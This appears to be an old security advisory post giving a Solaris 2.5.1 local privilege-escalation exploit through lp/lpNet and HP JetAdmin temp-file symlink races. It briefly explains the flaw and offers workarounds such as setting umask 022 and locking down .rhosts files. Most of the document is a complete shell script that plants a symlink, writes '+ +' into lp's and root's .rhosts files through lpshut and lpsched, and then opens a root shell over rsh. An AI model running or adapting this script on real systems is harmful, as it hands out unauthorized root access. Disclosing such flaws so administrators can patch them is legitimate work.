Also, HP JetAdmin is used in this script to break lp.
The quick and dirty:
remote printing to the local spool causes a temp file to be
created mode 666 owned by lp in /var/tmp. This can be used
in conjunction with /var/lp/logs/lpsched, which is another
temp file created mode 666 owned by root, to break root
by first symlinking to /usr/spool/lp/.rhosts, becoming lp,
symlinking to /.rhosts and, as lp, using /usr/sbin/lpshut
to cause /.rhosts to be created mode 666 owned by root.
Q&D workaround:
add "umask 022" to /etc/init.d/lp; restart /etc/init.d/lp
su - root; touch /usr/spool/lp/.rhosts
su - root; chown root /usr/spool/lp; chmod 755 /usr/spool/lp
Anyway, here it is:
#!/bin/sh
#
# lpNet & temp file exploit:
# break lp, then use lp priv to break root (or bin, etc...).
#
# Written by: Chris Sheldon (csh@viewgraphics.com)
#
# Tested on Solaris-2.5.1:
# SunOS testhost 5.5.1 Generic sun4m sparc SUNW,SPARCstation-20
#
# Caveat: This system is running without patches. Sun released
# patch 103959-03 for 2.5.1 on Feb 27, 1997. lpNet and lpsched
# were replaced in that patch, but the patch README does not
# mention anything about a temp file or permissions problem.
# 103959-03 is in the recommended patch list, but not in the
# "Patches containing security fixes" list.
#
# This way (not using HP JetAdmin) *seems* to only work when you have
# a postscript-only defined printer. If you send an ascii job to the
# print queue, lpNet will invoke several of the /usr/lib/lp/postscript
# programs to convert the ascii into postscript. One of them, postio(1),
# creates a temp file in /var/tmp mode 666. If the request is sent from
# a remote system (eg. handled by lpNet), then postio(1) runs as lp and
# creates /var/tmp/<printer-name>.log as lp mode 666.
#
# Here's part of the /var/lp/logs/request file:
#
# = lp0-71, uid -1, gid -1, size 123, Sat May 3 03:26:14 PDT 1997
# x /usr/lib/lp/postscript/postprint
# y /usr/lib/lp/postscript/download -plp0|/usr/lib/lp/postscript/postio \
# 2>>$ERRFILE -L/var/tmp/lp0.log
# t simple
#
# What if you don't have a PS-only printer? Well, if you are using
# the HP JetAdmin software and are running the hpnp daemon, then
# you're just as vulnerable. The JetAdmin software creates a temp
# file /var/tmp/jadump as lp with mode 666. It's happily follows
# symlinks.
#
# So, then exploit essentially is:
# ln -s ~lp/.rhosts /var/tmp/<printer-name.log>
# -or-
# ln -s ~lp/.rhosts /var/tmp/jadump
# rsh somehost lp somefile.txt
# echo "+ +" >> ~lp/.rhosts
# rsh -l lp localhost /bin/sh -i
# mv /var/lp/logs/lpsched /var/lp/logs/lpsched.save
# ln -s /.rhosts /var/lp/logs/lpsched
# /usr/sbin/lpshut
# /usr/lib/lpsched
# mv /var/lp/logs/lpsched.save /var/lp/logs/lpsched
# echo "+ +" >> /.rhosts
# rsh -l root localhost /bin/sh -i
#
# Note: This won't clobber the permissions on an existing /.rhosts
# file, but you can always symlink to /usr/bin/.rhosts.
#
# Workaround:
# Put "umask 022" in /etc/init.d/lp. /var/tmp/<printer-name>.log
# will be mode 644. This also makes /var/lp/logs/lpsched
# created as mode 644.
# For /var/tmp/jadump, the umask trick didn't work. I just made
# /usr/spool/lp 755 root/root (was 775 lp/lp).
#
# I suppose as a general principal, it's a good thing to go around
# as root and touch /.rhosts /usr/bin/.rhosts /usr/spool/lp/.rhosts
# and /var/adm/.rhosts as 600 root/root. I also run a script which
# checks the files (and their contents) on a regular basis.
#
# Perhaps there should be a file called /etc/rusers which, like the
# /etc/ftpusers file, denies any user in that file password-less
# r-service access.
#
# Of course, you still have to worry about things like .forward.
# A more draconian approach would be to change /var/spool/lp to
# mode 755 and owned by root. What would this break?? (anything?)
#
# This is the JetAdmin/hpnpd script:
#
#
# Usage stuff.
if [ "$1" = "" ]; then
echo "Usage: lp-exp <remote-host> [remote printer name]"
echo " remote-host: host must have networked printer"
echo " with the main spool on the local system."
exit
else
remlp=$1
fi
#
# Specify a different queue
if [ "$2" != "" ]; then
remqn=$2
fi
#
# Check for ~lp/.rhosts
if [ -f /usr/spool/lp/.rhosts ]; then
echo "lp's .rhosts file exists... sorry"
exit
fi
#
# Check if hpnpd is running
if [ "`ps -e | grep hpnpd`" != "" ]; then
echo "found hpnpd running"
rm -f /var/tmp/jadump
ln -s /usr/spool/lp/.rhosts /var/tmp/jadump
else
echo "If you have a postscript only printer, try that (see comments)."
exit
fi
#
# print some data on a remote system
if [ "$remlp" = "" ]; then
rsh $remlp "echo ASCII-STRING | lp"
else
rsh $remlp "echo ASCII-STRING | lp -d$remqn"
fi
sleep 3
#
# Check for the new .rhosts file and break root
if [ -f /usr/spool/lp/.rhosts ]; then
rm -f /var/tmp/jadump
echo "+ +" >> /usr/spool/lp/.rhosts
rsh -l lp localhost "rm /usr/spool/lp/.rhosts ;\
mv /var/lp/logs/lpsched /var/lp/logs/lpsched.save ;\
ln -s /.rhosts /var/lp/logs/lpsched ;\
/usr/sbin/lpshut ;\
sleep 3 ;\
/usr/lib/lpsched ;\
mv /var/lp/logs/lpsched.save /var/lp/logs/lpsched ;\
echo \"+ +\" >> /.rhosts"
else
echo "Hmmm... no .rhosts file was created."
exit
fi
rsh -l root localhost /bin/sh -i
#
#
#